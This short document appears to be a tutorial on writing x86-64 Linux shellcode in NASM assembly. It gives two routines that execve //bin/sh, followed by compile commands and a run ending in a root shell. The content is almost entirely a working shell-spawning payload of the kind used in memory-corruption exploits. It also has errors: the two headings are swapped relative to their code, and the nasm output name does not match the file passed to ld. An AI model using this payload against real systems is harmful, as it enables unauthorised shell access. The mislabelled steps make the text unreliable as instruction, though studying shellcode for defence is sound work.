shellcode in ASM to C program examples

not optimized for shortness
does not remove null (00) characters

--------
using data
--------
section .text
 global _start

_start:
 xor rdi, rdi ;null char to term string
 push rdi
 mov rdi, 0x68732f6e69622f2f ; //bin/sh
 push rdi
 mov rdi, rsp ; filename
 mov rsi, 0 ; argv
 mov rdx, 0 ;envp
 mov rax, 59 ; execve syscall
 syscall

--------
using push
--------
section .data
 sh: db "//bin/sh"

section .text
 global _start

_start:
 mov rdi, sh ; filename
 mov rsi, 0 ; argv
 mov rdx, 0 ;envp
 mov rax, 59 ; execve syscall
 syscall




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to compile
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$> nasm -f elf64 mycode.asm -o mycode
$> ld mycode.o -o mycode
$> ./mycode
# whoami
root